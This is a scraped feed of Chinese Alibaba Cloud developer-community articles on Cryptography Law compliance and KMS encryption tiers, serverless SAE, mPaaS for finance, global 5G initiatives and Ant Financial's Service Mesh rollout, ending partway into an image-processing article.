        一切使用加密保护、安全认证技术、产品和服务进行保护的企业及组织,尤其是影响国计民生、社会公共利益和秩序的单位,都应该合理使用密码来保障数据安全。
        对于使用商用密码的企业及组织还需要开展商用密码应用安全性评估。在2019年12月1日正式实施的等保2.0中,就对网络安全第三级及以上等级保护对象做出了明确的密码应用安全性评测标准。对于可能影响国家安全的关键信息基础设施的运营者还需要按照监管要求进行审查。

        “密码应用安全性评估”涉及哪些内容?
        密码应用安全性评估对于网络对象采集、传输、存储的数据以及外围保护环境数据根据重要程度、类型提出了实现机密性、真实性、完整性和不可否认性的密码保护要求,围绕数据生命周期进行全方位的密码保护和安全管理。
        通俗来讲,密码不仅要用在数据采集、存储、传输等所有节点,而且还要有效,不能是形式主义。

        违反密码法有什么后果?
        对于不使用密码的,轻则管理部门会对违规单位进行责令改正,给予警告,重则对违规单位进行数十万的罚款,对负责人进行处分和罚款,一旦构成犯罪,还将依法追究刑事责任。

        阿里云进阶式数据加密能力助你做足功课


        根据用户对不同数据不同安全等级的需求,阿里云提供了一整套完整的进阶式数据加密能力,以及密钥管理服务,也就是密码法中的密码管理服务,让用户可以保护好云上这个“密码本”,满足不同数据加密需求。

        加密入门:可见的“默认加密”
        为了更方便的让用户对低安全级别的数据进行加密保护,而避免付出额外的密钥管理开销,阿里云在密钥管理服务KMS中为用户提供了一种自动管理密钥的功能,用户只需要在KMS中选择“服务密钥”这一功能,就可以通过KMS实现数据的自动加密,不需要用户做任何操作,且密钥的任何调用情况用户都可以在操作审计产品中看到。

        加密进阶:可见可控的全托管加密
        如果用户对数据加密有更高需求,可以不使用KMS自动生成的服务密钥功能,而是自行在KMS中管理密钥的生命周期,包括创建、删除、禁用、启用密钥等,并且在访问控制(RAM)中自主管理密钥的授权规则。该密钥是解密数据的唯一钥匙,没有用户授权密钥,任何人无法看到数据;如果密钥被删除,包括用户在内的任何人都无法解密数据。

        加密高阶:可见可控的半托管加密
        比全托管加密更高级的安全能力来自于业界普遍认可的一项技术:BYOK(Bring Your Own Key)。通俗来讲就是用户可以自己生产密钥导入云上KMS托管的硬件密码机中,这个过程是单向的,密钥只能导入不能导出,除用户之外的任何第三方都无法知晓托管密码机中的内容。除此之外用户可以随时销毁云上密钥,而仍然保有密钥的生命周期管理能力,例如,用户导入密钥对数据加密后可以删掉密钥,在数据需要被解密时再重新导入相同密钥来解密即可,这为用户提供了更多的自主权利。

        加密更高阶:自己写代码调用KMS
        相较于前三阶均是“云产品集成加密”,从该阶加密开始,用户可以自己写代码调用KMS的API能力,更加适用于对敏感数据保护有更高要求,或者为了满足GPDR及其他法律法规要求的用户,这种加密方式可以针对特定数据实现主动加密保护。用户可以根据自身的业务场景特性和业务逻辑特性来制定不同的密钥管理策略,将加密能力嵌入到业务当中,使得安全与合规需求及业务系统紧密融合,进一步减小恶意者对敏感数据的攻击面。例如:数据库TDE加密,并不能有效防止具有数据库用户或者DBA查看数据库内的敏感数据。如果业务系统对特定的敏感数据列进行自定义加密,数据库用户或者DBA则需要进一步获取密钥的权限从而查看敏感数据。
        除此之外,自定义加密的应用系统,可以更好的利用KMS内建的密钥自动轮转能力,实现密钥管理的安全策略。

        加密最高阶:自己管理HSM集群和写代码
        除了密钥管理服务KMS,阿里云还为用户提供了云服务器密码机实例。用户可以自己管理所需的密码机实例数量,自己做密钥机之间的密钥同步、备份、负载均衡等工作。在这个过程中,云服务商不参与任何密钥管理相关工作,用户不仅对密钥管理有完全的控制权,同时对硬件密码机也有完全的控制权,为最高阶的加密方式。
        从上面可以看出,阿里云这套云上密码能力体系,不仅可以帮助用户实现数据的加密保护、数字签名的产生和验证、加密密钥的自动轮转等功能,更便捷的构建密码应用和解决方案,还能赋能云上数据安全、身份认证、区块链、DevSecOps等广泛场景。

        640


        云上密码能力地图

        密码法的颁布只是第一步,数据安全是一个系统工程。在《密码法》的指导下,企业可以借助阿里云的技术工具和安全产品强化自身的安全体系,在保障数据安全的前提下,充分享受技术红利,促进业务的持续、稳定发展。

        如果您想了解更多数据加密相关问题,可以扫描下方二维码,直连安全专家哦~

        641

        更多详情

        ]]>
        阿里云Serverless应用引擎(SAE)3大核心优势全解析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 软件发展到今,企业业务系统日趋复杂,开发一个业务系统需要掌握和关注的知识点越来越多。除实现业务逻辑本身,还需考虑很多非业务的基础技术系统:如分布式cache和队列、基础服务能力集成、容量规划、弹性伸缩等。这种情况下,研发门槛逐渐上升,效率逐渐下降。企业很难做到低成本创新、试错和快速扩展业务。

        阿里云Serverless应用引擎(简称SAE)产品的出现,很好地解决了这类问题。帮助 PaaS 层用户免运维IaaS,按需使用,按量计费,提供了一系列通用能力,实现低门槛微服务/Web/多语言应用上云,有效解决成本及效率问题。

        免运维、省成本是所有Serverless产品的核心优势之一,SAE除了免运维底层IaaS外,还能让用户免部署和运维微服务注册中心等组件,提供生产级别稳定可靠的微服务托管能力;免部署和运维K8s集群,零容器基础的用户也能拥抱K8s带来的技术红利。

        10


        很多企业在云上都会部署多套环境,存在很大的闲置浪费。使用SAE的“一键启停开发测试环境”,按需释放闲置资源,节省成本,需要使用时一键秒级拉起。后续SAE考虑基于K8s强大的编排能力,编排应用所需的DB、应用和应用的依赖,一键初始化拉起一套全新环境,以及多环境的克隆复制等。

        11


        云时代下弹性已成为新常态,很多业务场景无法提前预知,如天猫双11、突发事件导致社交网站瞬时过载。和传统弹性方案相比,SAE在成本和效率上都能做到极致。基于监控触发按需弹,不会出现资源浪费/不足,在效率上免去ECS扩容和ECS启动的时间,能做到秒级弹性。

        12


        SAE三个主要指标数据:端到端启动时长20s,满足突发场景快速扩容的需要。支持0.5core的最小规格,进一步降低用户使用成本。部署一套日常环境成本节省47%~57%。

        13


        据Serverless应用引擎(SAE)产品经理黛忻介绍,SAE继续探索弹性效率和用户成本的优化方案,继续将一些基础技术归纳抽象下沉到平台,让创新业务成为企业的唯一关注点。
        据悉,阿里云是国内率先提供了面向应用的Serverless产品的云计算公司。截止目前,已有上百家企业通过 SAE 构建应用,实现业务的快速交付和IT成本优化。]]>
        蚂蚁金服联合IDC发布《中国金融级移动应用开发平台白皮书》 金融机构加速执行移动优先战略-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 ad5d75088d8f43739ab98bd0ebc34a47

        移动端成金融机构零售转型的重要载体,战略地位日益凸显
        《白皮书》认为,随着IT领域的新兴技术⾰命,企业数字化转型浪潮正在不断重塑各⾏各业的运⾏格局和发展风貌。以金融业为例,利率市场化、金融脱媒以及互联⽹跨界竞争等多重因素动摇了传统金融机构的盈利基础,使中国金融市场正在自内而外地发生巨大变革。

        在此背景下,金融机构纷纷开启零售转型战略,以金融科技创新为抓手,为企业发展赋能。移动端作为金融机构重要的对外渠道之一,已成为零售转型的重要载体。利用优质的移动端设计提供精细化服务,吸引更多的个人客户长期驻留,是金融机构应对市场挑战、实现长期发展的必然选择,移动优先战略成为金融机构面向未来的发展共识。

        《白皮书》显示,在⾦融科技的推动下,⼀⼤批传统线下业务通过技术创新转移⾄线上运营,⽤⼾不再受到银⾏服务时间和空间的限制,随时随地的享受移动端带来的便捷性,⽤⼾体验获得了⾰命性提升;保险公司⼤⼒拓展移动渠道,通过保险移动展业,以更加便捷⾼效地⽅式实现全业务触点的销售及管理,降低获客成本;证券企业则重点利⽤新技术提升信息和数据处理的时效性,满⾜客⼾对移动端⾏情资讯的传递和承载需求。

        一站式移动开发平台mPaaS,助力金融机构移动优先战略落地
        《白皮书》指出,金融业务的移动化、场景化、智能化趋势,推动金融移动应用需求的爆发性增长,对金融机构围绕移动端的业务开发和保障能力提出极大挑战。金融机构迫切需要引入新一代移动设计开发思想,利用先进的移动应用开发平台实现在开发、运维、管理以及快速迭代方面的一系列变革。

        蚂蚁金服移动金融技术总监祁晓龙认为,金融级移动应用开发平台应具备统一的开发框架,拥有强大的技术整合和集成能力,有助于打造基于移动中台的能力输出,满足金融行业对移动开发平台技术先进性、安全合规性和高稳定性、高可用性等一系列特殊要求。

        基于对金融市场的洞察和全新用户行为的理解,蚂蚁金服移动开发平台mPaaS借助统一的客户端开发框架和蚂蚁特有的金融级移动中台能力,有效地加快研发效率,增加对APP动态管控及千人千面的数字化运营能力。同时基于“后台连接服务”构建与服务端的数据、多媒体传输通道,确保全链路的稳定、安全和高效。
        f85afc744df04471a9bfdadb8bdc3a8e

        移动端创新技术方面,mPaaS提供智能推荐、语音识别、图像识别、生物识别、小程序等能力,改善产品体验,助力业务创新。

        安全合规方面,mPaaS提供IPv6、国密、容灾等特色行业能力,满足监管合规要求。同时辅以应用加固、安全键盘、IFAA生物认证及数据加密能力,充分保障数据在客户端本地、传输过程中的安全性。

        目前mPaaS已服务中国农业银行、广发银行,华夏银行,西安银行、国寿保险等众多B端客户,为国内国际用户都带来优质的移动端体验。

        蚂蚁金服全栈式金融科技体系,助力金融业全域数字化转型
        科技是面向未来的核心驱动力。基于对未来的洞察和蚂蚁金融科技开放的实践深耕,蚂蚁金服在金融领域构建了一个自底向上的全栈式金融科技体系,从具有金融级别支撑能力的分布式计算平台等底层技术,到以人工智能、区块链等为代表的应用技术,再到智能风控、生物核身等金融级专有技术,以及一站式的移动开发平台mPaaS,形成完整的技术堆栈,助力金融机构快速打造新一代超级移动金融平台与大数据智能运营体系,推动金融机构转型升级。

        据悉,包括蚂蚁金服移动开发平台mPaaS、分布式中间件SOFAStack、分布式关系数据库OceanBase等在内的产品和解决方案正通过阿里云新金融统一对外输出,服务各种类型的金融机构。而在未来,还会有越来越多的蚂蚁金服技术产品通过阿里云新金融对外输出。在第二十七届中国国际金融展上,这些世界级的解决方案进行了亮相,并吸引了诸多关注。

        ]]>
        全球5G倡议 | 《5G移动无线通信技术》之三-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 第二章:如何实现海量数据的处理?

        全球5G倡议

        全球范围内有很多 5G 的论坛和研究项目组。2011 年欧洲第一个开展了 5G 研究 [23], 不久之后中国、韩国、日本开始了各自的研究活动。这些活动和时间表归纳在图 1.6 中。
        image.png

        3.1 METIS 和 5G-PPP

        METIS [24] 是欧盟第一个完整的 5G 项目,并对全球的 5G 发展产生了深远的影响。 METIS 属于欧洲框架 7 项目(FP7),项目准备始于 2011 年 4 月,正式启动于 2012 年 11 月 1 日,中止于 2015 年 4 月 30 日。
        METIS 项目的原始诉求是为全球的 5G 研究建立参照体系,包括确定 5G 的应用 场景、测试用例和重要性能指标。目前这些成果被商界和学术界广泛引用。其主要成 果是筛选了 5G 的主要技术元素。欧洲通过该项目在 5G 的研发方面获得了明显的领先 地位。
        5G 公私合作伙伴(5G-PPP) [25] 是欧盟框架 73 项目中 5G 后续项目。欧洲的 ICT 行业和欧洲委员会(EC)于 2013 年 12 月签署了商业协议,组建 5G 基础设施公私合作项 目(5G-PPP)。该项目主要是技术研究,其 2014–2020 年预算为 14 亿欧元。欧洲委员会 和 ICT 产业各出资一半(7 亿欧元)。5G-PPP 在设备制造企业、电信运营商、服务提供商和中小企业以及研究人员之间架起了桥梁。
        根据与 METIS 签署的谅解备忘录,5G-PPP 项目内 METIS-II 于 2015 年 7 月启 动。METIS-II 致力于开发设计 5G 无线接入网络,其目标是进行足够的细节研究,支撑 3GPP R14 版本的标准化工作。METIS-II 将提出技术建议,并有效地集成当前开发的 5G 技术元素以及与原有 LTE-A 技术演进的集成。为了实现这一目标,METIS-II 非常重视 和 5G-PPP 的其他项目,以及全球其他 5G 项目的合作和讨论。讨论的范围包括 5G 应用 场景和需求、重要 5G 技术元素、频谱规划和无线网络性能等。
        5G-PPP 项目的目标是确保欧洲在特定领域的领先,并在这些领域开发潜在的 新的市场,例如智慧城市、电子医疗、智能交通、教育或者娱乐和媒体 [25]。5G-PPP 的终极目标是设计第五代通信网络和服务。5G-PPP 的第一个子项目开始于 2015 年 7 月。

        3.2 中国:5G 推进组

        IMT-2020(5G)推进组于 2013 年 2 月由中国工业和信息化部、国家发展和改革委 员会、科学技术部联合推动成立,组织国内的企业和高校等成员开展 5G 的研发和产业 推进,是聚合移动通信领域产学研用力量、推动第五代移动通信技术研究、开展国际交 流与合作的基础工作平台。

        3.3 韩国:5G 论坛

        韩国的 5G 论坛 [28] 也是公私合作项目,成立于 2013 年 5 月。该项目的主要目 标是发展和提出国家的 5G 战略,并对技术创新作出战略规划。成员包括 ETRI,SK Telecom,KT,LG- 爱立信和三星公司。这个论坛也对中小企业开放。其目标之一是确 保 2018 年平昌冬奥会部分 5G 实验网预商用。

        3.4 日本:ARIB 2020 和未来专项

        ARIB 2020 和未来专项成立于 2013 年 9 月,目的是研究面向 2020 和未来的陆地移 动通信技术,也是成立于 2006 年的先进无线通信研究委员会(ADWICS)的一个子委 员会。这个组织的目标是研究系统概念、基本功能和移动通信的分布式架构。预期输出 包括白皮书,向 ITU 及其他 5G 组织提交的文件。2014 年,该项目发布了第一个白皮书 描述了 5G 的愿景,“面向 2020 和未来的移动通信系统”[29]。

        3.5 其他 5G 倡议

        其他的 5G 倡议相对于上述项目在规模和影响力方面较小。其中几个是北美 4G(4G Americas)项目、Surrey 大学创新中心、纽约大学无线研究中心。

        3.6 物联网的活动

        全球范围内开展了大量的物联网倡议,覆盖了物联网的诸多方面。其中工业物联网 共同体(IIC) [30] 和工业 4.0[31] 是和 5G 最紧密相关的项目。IIC 成立于 2014 年,把组织 机构和必要的技术结合在一起,加速工业互联网的成长。主要目标是 [30]:

        • 为现实应用创建新的工业用例和测试床;
        • 影响全球工业互联网系统的标准化进程。

        工业 4.0 是德国 2013 年发起的倡议,目的在于保持德国工业制造的竞争力和保持全 球市场领导力,致力于在产品中集成物联网和服务,特别是整个生产流程中创建网络管 理,实现智能工厂环境 [31]。

        3.7标准化活动

        下面简要介绍 5G 在 ITU、3GPP 和 IEEE 的标准化工作。

        3.8 ITU-R

        2012 年 ITU 无线通信部分(ITU-R)在 5D 工作组(WP5D)的领导下启动了“面 向 2020 和未来 IMT”的项目,提出了 5G 移动通信空中接口的要求。WP5D 制定了工作 计划、时间表、流程和交付内容。需要强调的是 WP5D 暂时使用“IMT-2020”这一术语 代表5G。根据时间表的要求,需要在2020年完成“IMT-2020技术规范”。至2015年9月, 已经完成下列三个报告。

        • 未来陆地 IMT 系统的技术趋势 [32]:这个报告介绍了 2015—2020 年陆地 IMT 系统的技术趋势,包括一系列可能被用于未来系统设计的技术。
        • 超越 2020 的 IMT 建议和愿景 [19]:该报告描述了 2020 年和未来的长期愿景,并 对未来 IMT 的开发提出了框架建议和总体目标。
        • 高于 6 GHz 的 IMT 可行性分析 [33]:这份报告提供了 IMT 在高于 6 GHz 频段部 署的可行性。该报告被 WRC 2015 参照,将新增的 400 MHz 频谱分配给IMT使用,详见第 12 章。

        3.9 3GPP

        3GPP 已经确认了 5G 标准化时间表,现阶段计划延续到 2020 年 [34]。5G 无线网络 的主要需求的研究项目和范围于 2015 年 12 月开始,2016 年 3 月开始相应的 5G 新的无 线接入标准。此外, 3GPP在LTE 9[35] 和GSM 36 引入了海量机器类通信的有关需求, 即增强覆盖、低功耗和低成本终端。在 LTE 系统中,机器类通信被称作 LTE-M 和 NBIoT,在 GSM 系统中被称为增强覆盖的 GSM 物联网(EC-GSM-IoT)。

        3.10 IEEE

        在国际电气和电子工程师协会(IEEE)中,主要负责局域网和城域网的是 IEEE 802 标准委员会。特别是负责无线个人区域网络的 IEEE 802.15 项目(WPAN) [33] 和无 线局域网(WLAN)的 IEEE 802.11 项目 [39]。IEEE 802.11 技术在最初设计时使用频段 在 2.4 GHz。后来 IEEE 802.11 开发了吉比特标准,IEEE 802.11ac 可以部署在更高的频 段,例如 5 GHz 频段,以及 IEEE 802.11ad 可以部署在 60 GHz 毫米波频段。这些系统的 商用部署始于 2013 年,可以预见,到 2019 年的今后几年采用 6 GHz 以下(例如 IEEE 802.11ax)和毫米波频段(例如 IEEE 802.11ay)的系统将会实现高达若干 Gbit/s 的速率。 IEEE 很有可能会基于其高速率技术提交 IMT-2020 的技术方案。IEEE 802.11p 是针对车 辆应用的技术,预计 2017 年之后会获得在车联网 V2V 通信领域的广泛应用。在物联网领域IEEE也表现活跃。IEEE 802.11ah 支持在 1GHz 以下频段部署覆盖增强的 Wi-Fi。 IEEE 802.15.4 标准在低速个人通信网络(LR-WPAN)较为领先。这一标准被 Zigbee 联盟进一步拓展为专用网格连接技术,并被国际自动化协会(ISA)采纳,用于协同和同 步操作,即 ISA100.11a 规范。预计 5G 系统会联合使用由 IEEE 制定的空中接口。这些 接口和 5G 之间的接口的设计需要十分仔细,包括身份管理、移动性、安全性和业务。

        3.11 本书的内容介绍

        5G 构成的主要目模块如图 1.7所示:无线接入、固定和原有无线接入技术(例如 LTE)、核心网、云计算、数据分析和安全性。本书涵盖的内容在图 1.7中标记为灰色, 5G 无线接入和用例在第 2 章介绍。包括 LTE 的原有系统的作用在不同的章节有简要介 绍。核心网和云计算(包括网络功能虚拟化)的简介在第 3 章介绍。数据分析和安全性超出了本书的范围。
        本书内容组织如下。

        • 第 2 章总结了目前定义的 5G 用例和需求,以及 5G 的系统概念。
        • 第 3 章给出了 5G 架构需要考虑的主要问题。
        • 第 4 章讲述 5G 的重要用例之一,即机器类通信。
        • 第 5 章介绍设备和设备通信。
        • 第 6 章介绍有可能分配的从 10 GHz 到 100 GHz 大量频谱的毫米波技术,这些频 谱可以用于无线回传和接入。
        • 第 7 章简要介绍 5G 最可能采用的无线接入技术。
        • 第 8 章重点介绍 5G 的重点技术之一,即大规模 MIMO。
        • 第 9 章讨论多点协同发送,特别是 5G 如何更好地实现联合发射。
        • 第 10 章聚焦中继器和无线网络编码技术。
        • 第 11 章介绍 5G 干扰和移动管理相关的技术。
        • 第11章讨论5G频谱,特别是预期的5G频谱组成和需求,以及预期的频谱接入模式。
        • 第 13 章介绍 5G 信道模型的主要挑战和新的信道模型。
        • 第 14 章提供了 5G 仿真的指导建议,以此来统一假设条件、方法和参考用例。

        image.png

        ]]>
        蚂蚁金服 双11 Service Mesh 超大规模落地揭秘-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》

        ban.jpg

        本文节选自《不一样的 双11 技术:阿里巴巴经济体云原生实践》一书,点击上方图片即可下载!

        作者:
        黄挺,花名鲁直,蚂蚁金服微服务以及云原生方向负责人,主导蚂蚁金服的云原生落地。
        雷志远,花名碧远,蚂蚁金服 RPC 框架负责人

        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        引言

        Service Mesh 是蚂蚁金服下一代架构的核心,本主题主要分享在蚂蚁金服当前的体量下,我们如何做到在奔跑的火车上换轮子,将现有的 SOA 体系快速演进至 Service Mesh 架构。聚焦 RPC 层面的设计和改造方案,分享蚂蚁金服 双11 核心应用如何将现有的微服务体系平滑过渡到 Service Mesh 架构下并降低大促成本。

        蚂蚁金服每年 双11 大促会面临非常大的流量挑战,在已有 LDC 微服务架构下已支撑起弹性扩容能力。本次分享主要分为 4 部分:

        1. Service Mesh 简介;
        2. 为什么要 Service Mesh;
        3. 我们的方案是什么;
        4. 分时调度案例;

        Service Mesh 简介

        在讲具体的蚂蚁金服落地之前,想先和大家对齐一下 Service Mesh 的概念,和蚂蚁金服对应的产品。
        这张图大家可能不陌生,这是业界普遍认可的 Service Mesh 架构,那么对应到蚂蚁金服,蚂蚁金服的 Service Mesh 也分为控制面和数据面,分别叫做 SOFAMesh 和 SOFAMosn,其中 SOFAMesh 后面会以更加开放的姿态参与到 Istio 里面去。

        1.png

        今天我们讲的实践主要集中在 SOFAMosn 上,以下我的分享中提到的主要就是集中在数据面上的落地,这里面大家可以看到,我们有支持 HTTP/SOFARPC/Dubbo/WebService。

        为什么我们要 Service Mesh

        有了一个初步的了解之后,可能大家都会有这样一个疑问,你们为什么要 Service Mesh,我先给出结论:

        因为我们要解决在 SOA 下面,没有解决但亟待解决的:基础架构和业务研发的耦合,以及未来无限的对业务透明的稳定性与高可用相关诉求。

        那么接下来,我们一起先看看在没有 Service Mesh 之前的状况。

        在没有 Service Mesh 之前,整个 SOFAStack 技术演进的过程中,框架和业务的结合相当紧密,对于一些 RPC 层面的需求,比如流量调度,流量镜像,灰度引流等,是需要在 RPC 层面进行升级开发支持,同时,需要业务方来升级对应的中间件版本,这给我们带来了一些困扰和挑战。如图所示:

        2.png

        1. 线上客户端框架版本不统一;
        2. 业务和框架耦合,升级成本高,很多需求由于在客户端无法推动,需要在服务端做相应的功能,方案不够优雅;
        3. 机器逐年增加,如果不增加机器,如何度过 双11;
        4. 在基础框架准备完成后,对于新功能,不再升级给用户的 API 层是否可行; 
        5. 流量调拨,灰度引流,蓝绿发布,AB Test 等新的诉求;

        这些困扰着我们,我们知道在 SOA 的架构下,负责每个服务的团队都可以独立地去负责一个或者多个服务,这些服务的升级维护也不需要其他的团队的接入,SOA 其实做到了团队之间可以按照接口的契约来接耦。但是长期以来,基础设施团队需要推动很多事情,都需要业务团队进行紧密的配合,帮忙升级 JAR 包,基础设施团队和业务团队在工作上的耦合非常严重,上面提到的各种问题,包括线上客户端版本的不一致,升级成本高等等,都是这个问题带来的后果。

        而 Service Mesh 提供了一种可能性,能够将基础设施下沉,让基础设施团队和业务团队能够解耦,让基础设施和业务都可以更加快步地往前跑。

        3.png

        我们的方案

        说了这么多,那我们怎么解决呢?

        方案一:全部迁移到 Envoy?不现实,自有协议+历史负担。
        方案二:透明劫持?性能问题,且表达能力有限,运维和可监控性,风险不太可控。
        方案三:自研数据面,最终我们给出的答案是 SOFAMosn。

        总体

        4.png

        我们的 SOFAMosn 支持了 Pilot ,自有服务发现 SOFARegistry,和自有的消息组件,还有一些 DB 的组件。在产品层,提供给开发者,不同的能力,包括运维,监控,安全等能力,这个是目前我们的一个线上的状态。

        SOFARegistry 是蚂蚁金服开源的具有承载海量服务注册和订阅能力的、高可用的服务注册中心,在支付宝/蚂蚁金服的业务发展驱动下,近十年间已经演进至第五代。

        看上去很美好,要走到这个状态,我们要回答三个问题。

        5.png

        这三个问题后面,分别对应着业务的几大诉求,大家做过基础框架的应该比较有感触。

        框架升级方案

        准备开始升级之后,我们要分析目前我们的线上情况,而我们现在线上的情况,应用代码和框架有一定程度的解耦,用户面向的是一个 API,最终代码会被打包,在 SOFABoot 中运行起来。

        SOFABoot 是蚂蚁金服开源的基于 SpringBoot 的研发框架,它在 SpringBoot 的基础上,提供了诸如 Readiness Check,类隔离,日志空间隔离等能力。在增强了 SpringBoot 的同时,SOFABoot 提供了让用户可以在 SpringBoot 中非常方便地使用 SOFA 中间件的能力。

        6.png

        那么,我们就可以在风险评估可控的情况下,直接升级底层的 SOFABoot,在这里,我们的 RPC 会检测一些信息,来确定当前 Pod 是否需要开启 SOFAMosn 的能力。然后我们完成如下的步骤。

        7.png

        这里,我们通过检测 PaaS 传递的容器标识,知道自己是否开启了 SOFAMosn,则将发布和订阅给 SOFAMosn,然后调用不再寻址,直接完成调用。

        可以看到,我们通过批量的运维操作,直接修改了线上的 SOFABoot 版本,以此,来直接使得现有的应用具备了 SOFAMosn 的能力,有些同学可能会问,那你一直这么做不行吗?不行,因为这个操作时要配合流量关闭等操作来运行的,也不具备平滑升级的能力。而且直接和业务代码强相关。不适合长期操作。

        这里我们来详细回答一下,为什么不采用社区的流量劫持方案?

        主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重。另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。而 Service Mesh 从初期就把蚂蚁金服现在线上的系统全量切换 Mesh 作为目标,并不是只是跑跑 demo,所以我们对性能和运维的要求是非常高的,毕竟,技术架构升级,如果是以业务有损或者资源利用率大幅度上升,这是无论如何都不能接受的。

        容器替换方案

        解决了刚刚提到的第一个难题,也只是解决了可以做,而并不能做得好,更没有做得快,面对线上数十万,带着流量的业务容器, 我们如何立刻开始实现这些容器的快速稳定接入?

        这么大的量,按照传统的替换接入显然是很耗接入成本的事情,于是我们选择了原地接入,我们可以来看下两者的区别
        8.png

        在之前,我们做一些升级操作之类的,都是需要有一定的资源 Buffer,然后批量的进行操作,替换 Buffer 的不断移动,来完成升级的操作。这就要求 PaaS 层留有非常多的 Buffer,但是在 双11 的情况下,我们要求不增加机器,并且为了一个接入 SOFAMosn 的操作,反而需要更多的钱来买资源,这岂不是背离了我们的初衷。有人可能会问,不是还是增加了内存和 CPU 吗,这是提高了 CPU 利用率。以前业务的 CPU 利用率很低。并且这个是一个类似超卖的方案。看上去分配了。实际上基本没增加。

        可以看到, 通过 Paas 层,我们的 Operator 操作,直接在现有容器中注入,并原地重启,在容器级别完成升级。升级完成后,这个 Pod 就具备了 SOFAMosn 的能力。

        SOFAMosn 升级方案

        在快速接入的问题完成后,我们要面临第二个问题,由于是大规模的容器,所以 SOFAMosn 在开发过程中,势必会存在一些问题,出现问题,如何升级,要知道,线上几十万容器要升级一个组件的难度是很大的,因此,在版本初期,我们就考虑到 SOFAMosn 升级的方案。

        9.png

        能想到的最简单的方法,就是销毁容器,然后用新的来重建,但是在容器数量很多的时候,这种运维成本是不可接受的。如果销毁容器重建的速度不够快,就可能会影响业务的容量,造成业务故障。因此,我们在 SOFAMosn 层面,和 PaaS 一起,开发了无损流量升级的方案。

        10.png

        在这个方案中。SOFAMosn 会感知自己的状态,新的 SOFAMosn 启动会通过共享卷的 Domain Socket 来检测是否已有老的 SOFAMosn 在运行,如果有,则通知原有 SOFAMosn 进行平滑升级操作。

        11.png

        具体来说,SOFAMosn 启动的时候查看同 Pod 是否有运行的 SOFAMosn (通过共享卷的domain socket),如果存在,需要进入如下流程:
        1.New Mosn 通知 Old Mosn,进入平滑升级流程
        2.Old Mosn 把服务的 Listen Fd 传递给 New Mosn,New Mosn 接收 Fd 之后启动, 此时 Old 和 New Mosn 都正常提供服务。
        3.然后 New Mosn 通知 Old Mosn,关闭 Listen Fd,然后开始迁移存量的长链接。
        4.Old Mosn 迁移完成, 销毁容器。

        这样,我们就能做到,线上做任意的 SOFAMosn 版本升级,而不影响老的业务,这个过程中的技术细节,不做过多介绍,之后,SOFAStack 会有更详细的分享文章。

        分时调度案例

        技术的变革通常一定不是技术本身的诉求,一定是业务的诉求,是场景的诉求。没有人会为了升级而升级,为了革新而革新,通常,技术受业务驱动,也反过来驱动业务。

        在阿里经济体下,在不断的淘宝直播,实时红包,蚂蚁森林,各种活动的不断扩张中,给技术带了复杂了场景考验。

        这个时候,业务同学往往想的是什么?我的量快撑不住了,我的代码已经最优化了,我要扩容加机器,而更多的机器付出更多的成本,面对这样的情况,我们觉得应用 Service Mesh,是一个很好的解法。通过和 JVM, 系统部的配合,利用进阶的分时调度实现灵活的资源调度,不加机器。这个可以在资源调度下有更好的效果。

        12.png

        首先,我们假设有两个大的资源池的资源需求情况,可以看到在 X 点的时候,资源域 A 需要更多的资源,Y 点的时候,资源域 B 需要更多的资源,总量不得增加。那当然,我们就希望能借调机器。就像下面这样。

        请大家看左图。

        13.png

        在这个方案中, 我们需要先释放资源,然后销毁进程,然后开始重建资源,然后启动资源域 B 的资源。这个过程对于大量的机器,是很重的,而且变更就是风险,关键时候,做这种变更,很有可能带来衍生影响。

        而在 SOFAMosn 中,我们有了新的解法。如右图所示,有一部分资源,一直通过超卖,运行着两种应用,但是 X 点的时候,对于资源域 A,我们通过 SOFAMosn 来将流量全部转走,这样,应用的 CPU 和内存就被限制到非常低的情况,大概保留 1% 的能力。这样,机器依然可以预热,进程也不停。

        在这里。我们可以看这张图。

        14.png

        当需要比较大的资源调度的时候,我们推送一把开关,则资源限制打开,包活状态取消。资源域 B 瞬间可以满血复活。而资源域 A 此时进入上一个状态,CPU 和内存被限制。在这里,SOFAMosn 以一个极低的资源占用。完成流量保活的能力。使得资源的快速借调成为可能。

        我们对 Service Mesh 的思考与未来

        Service Mesh 在蚂蚁金服经过 2 年的沉淀,最终经过 双11 的检验,在 双11 ,我们覆盖了 200+ 的 双11 交易核心链路,Mosn 注入的容器数量达到了数十万,双11 当天处理的 QPS 达到了几千万,平均处理 RT<0.2 ms,SOFAMosn 本身在大促中间完成了数十次的在线升级,基本上达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        不论何种架构,软件工程没有银弹。架构设计与方案落地总是一种平衡与取舍,目前还有一些 Gap 需要我们继续努力,但是我们相信,云原生是远方也是未来,经过我们两年的探索和实践,我们也积累了丰富的经验。

        我们相信,Service Mesh 可能会是云原生下最接近“银弹”的那一颗,未来 Service Mesh 会成为云原生下微服务的标准解决方案,接下来蚂蚁金服将和阿里集团一起深度参与到 Istio 社区中去,与社区一起把 Istio 打造成 Service Mesh 的事实标准。

        ban.jpg

        本书亮点

        • 双11 超大规模 K8s 集群实践中,遇到的问题及解决方法详述
        • 云原生化最佳组合:Kubernetes+容器+神龙,实现核心系统 100% 上云的技术细节
        • 双 11 Service Mesh 超大规模落地解决方案

        阿里巴巴云原生技术圈关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        利用 FC + OSS 快速搭建 Serverless 实时按需图像处理服务-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:泽尘

        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        简介

        随着具有不同屏幕尺寸和分辨率设备的爆炸式增长,开发人员经常需要提供各种尺寸的图像,从而确保良好的用户体验。目前比较常见的做法是预先为一份图像存放多份具有不同尺寸的副本,在前端根据用户设备的 media 信息来请求特定的图像副本。

